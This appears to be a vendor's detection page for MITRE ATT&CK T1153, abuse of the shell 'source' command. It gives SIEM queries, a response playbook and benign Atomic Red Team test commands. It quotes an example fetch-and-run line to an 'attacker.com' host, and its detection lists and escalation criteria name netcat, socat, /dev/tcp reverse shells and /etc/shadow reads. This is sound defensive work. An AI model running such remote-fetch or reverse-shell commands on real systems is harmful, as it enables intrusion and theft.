Source
Adversaries may abuse the shell built-in source command (or its dot notation equivalent '. ') to execute arbitrary scripts in the current shell context without requiring the target file to be marked executable. This technique is deprecated in ATT&CK but the underlying behavior remains relevant on Linux and macOS systems. The source command can load malicious functions into the current shell session, execute staged payloads from world-writable directories, or run scripts pulled from remote locations via process substitution (e.g., source <(curl ...)). Because the file does not need execute permissions (chmod +x), this technique can bypass permission-based detection controls. Adversaries commonly use this to execute payloads written to /tmp or /dev/shm, load malicious shell functions into memory, or chain with other techniques such as modifying .bashrc or .profile for persistence.
What is T1153 Source?
Source (T1153) maps to the Execution tactic — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for Source, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint (Linux/macOS). The queries below are rated medium severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Execution
- Canonical reference
- https://attack.mitre.org/techniques/T1153/
let SuspiciousSourcePaths = dynamic([
"/tmp/", "/dev/shm/", "/var/tmp/", "/run/", "/proc/",
"/home/", "/root/", "/dev/fd/"
]);
let SuspiciousParents = dynamic([
"curl", "wget", "python", "python3", "perl", "ruby",
"php", "nc", "ncat", "socat"
]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where OSPlatform in ("Linux", "macOS")
| where FileName in ("bash", "sh", "zsh", "dash", "ksh", "fish")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+[/~]"
| extend SourcedPath = extract(@"source\s+([^\s;|&]+)|(?:^|\s)\.\s+([^\s;|&]+)", 1, ProcessCommandLine)
| extend IsFromTempDir = ProcessCommandLine has_any (SuspiciousSourcePaths)
| extend IsProcessSubstitution = ProcessCommandLine matches regex @"source\s+<\(" or ProcessCommandLine matches regex @"\.\s+<\("
| extend SuspiciousParent = InitiatingProcessFileName has_any (SuspiciousParents)
| extend IsNonExecutable = ProcessCommandLine matches regex @"source\s+.*\.(txt|log|conf|dat|bak|tmp)"
or ProcessCommandLine matches regex @"\.\s+.*\.(txt|log|conf|dat|bak|tmp)"
| extend HasBase64Payload = ProcessCommandLine has "base64" and (ProcessCommandLine has "source" or ProcessCommandLine matches regex @"(?:^|\s)\.\s+")
| where IsFromTempDir or IsProcessSubstitution or SuspiciousParent or IsNonExecutable or HasBase64Payload
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, SourcedPath,
IsFromTempDir, IsProcessSubstitution, SuspiciousParent, IsNonExecutable, HasBase64Payload
| sort by Timestamp desc Detects suspicious use of the shell source builtin command (and its dot notation equivalent) on Linux and macOS endpoints monitored by Microsoft Defender for Endpoint. Identifies sourcing from world-writable or temporary directories (/tmp, /dev/shm, /var/tmp), process substitution patterns (source <(curl ...)), sourcing initiated by network tools, sourcing of non-script file extensions (evading extension-based controls), and base64-decoded payloads passed via source. Uses DeviceProcessEvents which covers MDE-enrolled Linux and macOS endpoints.
Data Sources
Required Tables
False Positives
- System initialization scripts and package installers legitimately source configuration files from /tmp during installation (e.g., some pip or npm install procedures)
- Developers and DevOps engineers routinely source virtual environment activation scripts (e.g., source ./venv/bin/activate) which may reside in project directories under /home/
- Configuration management tools (Ansible, Chef, Puppet) may source scripts during provisioning runs
- Shell profile management tools (oh-my-zsh, bash-it) source scripts during terminal initialization from home directories
- CI/CD pipeline agents sourcing build environment scripts from workspace directories that may match /home/ path patterns
Sigma rule & cross-platform mapping
The detection logic for Source (T1153) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1153
References (7)
- https://attack.mitre.org/techniques/T1153/
- https://ss64.com/bash/source.html
- https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins
- https://linux.die.net/man/8/auditd
- https://github.com/SigmaHQ/sigma/tree/master/rules/linux
- https://www.cyberciti.biz/faq/bash-source-command/
- https://learn.microsoft.com/en-us/defender-endpoint/linux-support-events
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Execute Non-Executable Script via source
Expected signal: auditd EXECVE record for bash with argument array including 'source /tmp/argus_payload.sh'. DeviceProcessEvents (MDE Linux): ProcessCommandLine containing 'source /tmp/argus_payload.sh', FileName=bash. File creation event for /tmp/argus_source_test.txt. The file permission check (644, no execute bit) is visible in the stat output confirming the bypass.
- Test 2Source via Dot Notation from /dev/shm
Expected signal: auditd EXECVE record: argument array for sh/bash containing '. /dev/shm/argus_stage.sh'. DeviceProcessEvents: ProcessCommandLine containing '. /dev/shm/argus_stage.sh'. File creation events for both the staged script in /dev/shm and the output file in /tmp.
- Test 3Fileless Execution via Process Substitution with source
Expected signal: auditd EXECVE record: bash with argument containing 'source <(echo ...)'. DeviceProcessEvents: ProcessCommandLine matching process substitution pattern. This is a fileless execution — no script file is created on disk, making file-based detections ineffective. The only durable telemetry is process creation and command line logging.
- Test 4Load Malicious Shell Function via source
Expected signal: auditd EXECVE records: (1) bash executing 'source /tmp/argus_func_payload.sh', (2) bash executing 'argus_backdoor test_argument' as a shell builtin invocation. DeviceProcessEvents: ProcessCommandLine showing both the source invocation and function call. Note that shell function calls may not generate separate process creation events since they execute in the current shell context — this is a key detection gap for function-based payloads.
Response Playbook
Triage
- Identify the full command line: what exact file was sourced, from what path, and with what arguments? Capture this for investigation before any remediation.
- Check if the sourced file is executable (ls -la <path>) — if it lacks execute permissions but was run via source, this is a deliberate bypass of permission controls.
- Examine the parent process: was source invoked by a web server (nginx, apache), a cron job, an SSH session, or a legitimate shell? Unexpected parents (python, curl, nc) are high severity.
- Review the contents of the sourced file immediately: cat <path>. Look for reverse shells, curl/wget download cradles, credential harvesting functions, or persistence mechanisms (cron entries, .bashrc modifications).
- Check file metadata: stat <path> and ls -la <path> — review creation time, modification time, and ownership. Newly created files or files owned by unexpected users in /tmp or /dev/shm are suspicious.
- Determine user context: is this a privileged account (root, sudo group member), a service account, or a regular user? Privileged execution of sourced payloads significantly increases impact.
- Search for additional instances across the environment: are other hosts executing the same file hash or sourcing from the same path pattern?
Containment
- If the sourced file contains a reverse shell or C2 callback: immediately isolate the endpoint using EDR network isolation or firewall rules. Check active network connections first with ss -tlnp or netstat -anp.
- Delete or zero out the malicious sourced file to prevent re-execution: shred -u <path> or truncate -s 0 <path>. Preserve a forensic copy to a secured location before deletion.
- If the source command loaded malicious functions into an active shell session: kill the affected shell process (kill -9 <pid>) to terminate any in-memory function state.
- Review and purge any persistence mechanisms the sourced script may have installed: check crontab -l, ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/, and /etc/bash.bashrc for injected lines.
- If the compromised user account shows signs of credential theft: disable the account, invalidate active SSH sessions (pkill -u <username> sshd), and rotate any credentials or SSH keys the account had access to.
- If execution occurred via a web application or service account: patch the vulnerable input vector, rotate service credentials, and audit recent access logs for data exfiltration.
Evidence Collection
- Copy the sourced file to a secure evidence location before any remediation: cp -p <path> /secure/evidence/. Compute SHA256 hash: sha256sum <path>.
- auditd EXECVE records: grep for the source command in /var/log/audit/audit.log. Use ausearch -sc execve --start <time> to retrieve relevant records with full argument arrays.
- Shell history files: ~/.bash_history, ~/.zsh_history, ~/.sh_history — check for commands executed before and after the source invocation. Note: attackers often unset HISTFILE or clear history.
- Process accounting (/var/log/lastcomm or pacct) if enabled — provides a persistent record of all executed commands even if history is cleared.
- Syslog entries: /var/log/syslog or /var/log/messages — look for sudo usage, authentication events, and cron execution near the time of the incident.
- File system timeline: use find /tmp /dev/shm /var/tmp -newer /tmp/reference_timestamp -ls to identify files created around the time of the incident.
- Network connection evidence: check /proc/net/tcp and /proc/net/tcp6 or use ss -anp to identify any lingering connections established by the sourced script.
- Memory forensics: if the script loaded functions into a running shell, capture memory from the shell process using gcore <pid> before killing it.
Escalation Criteria
- ! The sourced file contains a network callback (curl, wget, bash -i, /dev/tcp, nc, socat) indicating active C2 or reverse shell establishment.
- ! Source was executed by a web server process (nginx, apache2, httpd, www-data user) indicating web shell or RCE exploitation.
- ! The sourced file was created within the last 60 minutes from an unexpected path, suggesting a staged payload from an active intrusion.
- ! Process substitution detected (source <(curl http://...)) indicating a fileless execution technique pulling live payloads from external infrastructure.
- ! Root or sudo-capable account executed the source command, giving the sourced payload full system access.
- ! Multiple hosts executing the same sourced file path or file hash within a short window, suggesting automated lateral movement or worm-like propagation.
- ! Evidence of credential harvesting in the sourced file content (reading /etc/shadow, accessing SSH key material, reading environment variables for secrets).
Investigation Guide
Forensic Artifacts
- >
Shell history files: ~/.bash_history, ~/.zsh_history, ~/.sh_history — may contain the source command invocation; check HISTFILESIZE and HISTSIZE values to confirm history was not intentionally limited. - >
Shell configuration files: ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc, /etc/profile, /etc/profile.d/*.sh — may contain injected source commands for persistence. - >
auditd records in /var/log/audit/audit.log — EXECVE syscall records capture full argument arrays including the sourced file path; search with ausearch -c bash --start <time>. - >
File timestamps on the sourced file: atime (last access), mtime (last modification), ctime (inode change) via stat <path> — inode change time is difficult to forge. - >
Process accounting log (/var/log/account/pacct or /var/account/pacct) if psacct/acct package is installed — records every executed command. - >
/proc/<pid>/cmdline and /proc/<pid>/environ — if the shell process is still running, these pseudo-files capture the exact command line and environment variables at execution time. - >
Temporary file system artifacts: files in /tmp and /dev/shm are RAM-backed on most Linux systems; a memory dump may recover deleted payloads. - >
lastcomm output (if process accounting enabled): lastcomm source — shows recent source command executions with user, tty, and timestamp. - >
SSH authorized_keys and known_hosts: if the attack involved lateral movement, new keys may have been added by the sourced script. - >
/var/log/wtmp and /var/log/btmp (successful and failed logins): correlate the source execution time with login events to identify attacker session boundaries.
Tuning Guidance
Begin by baselining legitimate source usage in your environment. On developer workstations, source is routine (virtual environments, shell plugins, NVM/RVM/pyenv activation). On servers and endpoints, source usage is less common and more suspicious. Build an allowlist of known-good sourced paths (e.g., /etc/profile.d/*.sh, /usr/share/bash-completion/, ~/.nvm/nvm.sh) and the processes that invoke them. For the KQL query, start with IsFromTempDir=true as the highest-fidelity signal — legitimate software rarely sources from /tmp or /dev/shm. For the SPL query, filter out known CI/CD service accounts and package manager parent processes. Consider raising severity to 'high' for process substitution (IsProcessSubstitution=true) regardless of other context, as this pattern has very few legitimate uses compared to simple file sourcing. On macOS, be aware that the . builtin may appear in Homebrew and macOS system scripts; focus alerting on non-standard sourced paths. If auditd is deployed with EXECVE rules, you can capture argument arrays more reliably than command line reconstruction — configure auditd rules: -a always,exit -F arch=b64 -S execve -F exe=/bin/bash -k source_exec.
Hunting Queries
Hunt for process substitution patterns used with source (e.g., source <(curl ...) or . <(python ...)). This fileless technique avoids writing payloads to disk and is a strong indicator of malicious activity since legitimate use of process substitution with source is rare in production environments.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where FileName in ("bash", "sh", "zsh", "dash", "ksh")
| where ProcessCommandLine matches regex @"(?:source|\s\.\s+).*<\("
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search cmdline="*source *<(*" OR cmdline="* . *<(*"
| table _time, host, user, cmdline, parent_process
| sort - _time Hunt for source execution of recently created files in world-writable directories. Files created and sourced within 30 minutes in /tmp or /dev/shm strongly suggest a staged payload delivery workflow — download, write to temp, source to execute in-memory, then delete the file.
let RecentFiles = DeviceFileEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where FolderPath startswith "/tmp" or FolderPath startswith "/dev/shm" or FolderPath startswith "/var/tmp"
| where ActionType == "FileCreated"
| project FileCreationTime=Timestamp, DeviceName, FileName, FolderPath, SHA256;
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+/"
| extend SourcedFile = extract(@"(?:source|(?<=\s)\.(?=\s))\s+([^\s;|&<>]+)", 1, ProcessCommandLine)
| join kind=inner RecentFiles on DeviceName
| where SourcedFile contains FolderPath or ProcessCommandLine contains FolderPath
| where datetime_diff('minute', Timestamp, FileCreationTime) < 30
| project Timestamp, DeviceName, AccountName, SourcedFile, ProcessCommandLine, FileCreationTime, SHA256
| sort by Timestamp desc index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search cmdline="*source /tmp/*" OR cmdline="*source /dev/shm/*" OR cmdline="* . /tmp/*" OR cmdline="* . /dev/shm/*"
| eval sourced_path=if(match(cmdline, "source\s+(/\S+)"), replace(cmdline, ".*source\s+(/\S+).*", "\1"), replace(cmdline, ".*\.\s+(/\S+).*", "\1"))
| join type=inner host [search index=linux_logs sourcetype="linux_auditd" type=PATH name="/tmp/*" OR name="/dev/shm/*" | rename name as sourced_path | eval file_create_time=_time | table host, sourced_path, file_create_time]
| where (_time - file_create_time) < 1800
| table _time, host, user, cmdline, sourced_path, file_create_time
| sort - _time Hunt for shells executing source commands when spawned by web server or application processes. A web server or application runtime (nginx, apache, php, python, node) spawning a bash/sh process that sources a script is a strong indicator of web shell exploitation or server-side code injection.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where OSPlatform in ("Linux", "macOS")
| where InitiatingProcessFileName in ("nginx", "apache2", "httpd", "php", "php-fpm", "python", "python3", "ruby", "node")
| where FileName in ("bash", "sh", "zsh", "dash")
| where ProcessCommandLine has "source " or ProcessCommandLine matches regex @"(?:^|\s)\.\s+[/~]"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc index=linux_logs (sourcetype="linux_auditd" OR sourcetype="syslog")
| search (parent_process="*nginx*" OR parent_process="*apache*" OR parent_process="*httpd*" OR parent_process="*php*" OR parent_process="*python*" OR parent_process="*node*")
| search (cmdline="*source /*" OR cmdline="* . /*")
| table _time, host, user, cmdline, parent_process
| sort - _time Atomic Red Team Tests
Creates a shell script without execute permissions and executes it using the source builtin. Demonstrates that the file does not need chmod +x to run when invoked via source, bypassing permission-based execution controls. The payload is benign (writes hostname and current user to a temp file).
Command
echo '#!/bin/bash\nhostname > /tmp/argus_source_test.txt\nwhoami >> /tmp/argus_source_test.txt' > /tmp/argus_payload.sh && chmod 644 /tmp/argus_payload.sh && ls -la /tmp/argus_payload.sh && source /tmp/argus_payload.sh && cat /tmp/argus_source_test.txt Cleanup
rm -f /tmp/argus_payload.sh /tmp/argus_source_test.txt Expected Telemetry
auditd EXECVE record for bash with argument array including 'source /tmp/argus_payload.sh'. DeviceProcessEvents (MDE Linux): ProcessCommandLine containing 'source /tmp/argus_payload.sh', FileName=bash. File creation event for /tmp/argus_source_test.txt. The file permission check (644, no execute bit) is visible in the stat output confirming the bypass.
Expected Detection
KQL: IsFromTempDir=true fires on /tmp/ path match. SPL: IsFromTempDir=1, SuspicionScore >= 1. The lack of execute permission on the sourced file is a forensic indicator but is not directly captured in process telemetry.
Uses the dot (.) notation equivalent of source to execute a script written to /dev/shm, a RAM-backed filesystem commonly used by attackers to avoid disk forensics. This tests both the alternate syntax and the memory-only staging location.
Command
printf '#!/bin/sh\nid > /tmp/argus_dot_test.txt\nuname -a >> /tmp/argus_dot_test.txt\n' > /dev/shm/argus_stage.sh && . /dev/shm/argus_stage.sh && cat /tmp/argus_dot_test.txt Cleanup
rm -f /dev/shm/argus_stage.sh /tmp/argus_dot_test.txt Expected Telemetry
auditd EXECVE record: argument array for sh/bash containing '. /dev/shm/argus_stage.sh'. DeviceProcessEvents: ProcessCommandLine containing '. /dev/shm/argus_stage.sh'. File creation events for both the staged script in /dev/shm and the output file in /tmp.
Expected Detection
KQL: IsFromTempDir=true fires on /dev/shm/ path match. The dot notation regex pattern (\s\.\s+[/~]) captures the '. /dev/shm/' pattern. SPL: IsFromTempDir=1, SuspicionScore >= 1.
Uses bash process substitution to pipe command output directly into source without writing any file to disk. In a real attack this pattern is used as 'source <(curl http://attacker.com/payload.sh)' to execute remote scripts without touching disk. This test uses a safe local command substitute instead of a remote URL.
Command
source <(echo 'echo argus_fileless_test_$(date +%s) >> /tmp/argus_fileless.txt') Cleanup
rm -f /tmp/argus_fileless.txt Expected Telemetry
auditd EXECVE record: bash with argument containing 'source <(echo ...)'. DeviceProcessEvents: ProcessCommandLine matching process substitution pattern. This is a fileless execution — no script file is created on disk, making file-based detections ineffective. The only durable telemetry is process creation and command line logging.
Expected Detection
KQL: IsProcessSubstitution=true fires on 'source <(' pattern match. SPL: IsProcessSubstitution=1, SuspicionScore >= 1. This test validates the process substitution detection branch specifically.
Demonstrates loading a malicious shell function into the current shell context via source. Once loaded, the function persists in the shell session and can be called by name. Attackers use this to establish persistent in-session backdoors or hook legitimate command names (e.g., redefining 'sudo' to capture passwords).
Command
cat > /tmp/argus_func_payload.sh << 'EOF'\nargus_backdoor() {\n echo "[ARGUS TEST] Function loaded. Args: $@" >> /tmp/argus_func_test.txt\n id >> /tmp/argus_func_test.txt\n}\nEOF\nsource /tmp/argus_func_payload.sh && argus_backdoor test_argument && cat /tmp/argus_func_test.txt Cleanup
rm -f /tmp/argus_func_payload.sh /tmp/argus_func_test.txt && unset -f argus_backdoor Expected Telemetry
auditd EXECVE records: (1) bash executing 'source /tmp/argus_func_payload.sh', (2) bash executing 'argus_backdoor test_argument' as a shell builtin invocation. DeviceProcessEvents: ProcessCommandLine showing both the source invocation and function call. Note that shell function calls may not generate separate process creation events since they execute in the current shell context — this is a key detection gap for function-based payloads.
Expected Detection
KQL: IsFromTempDir=true fires. The function invocation itself (argus_backdoor) will NOT generate a separate alert since it runs in-process. SPL: SuspicionScore >= 1 on the source invocation. This test highlights why shell history and ScriptBlock-equivalent logging (e.g., bash -x tracing or auditd SESSION records) are needed beyond process creation events.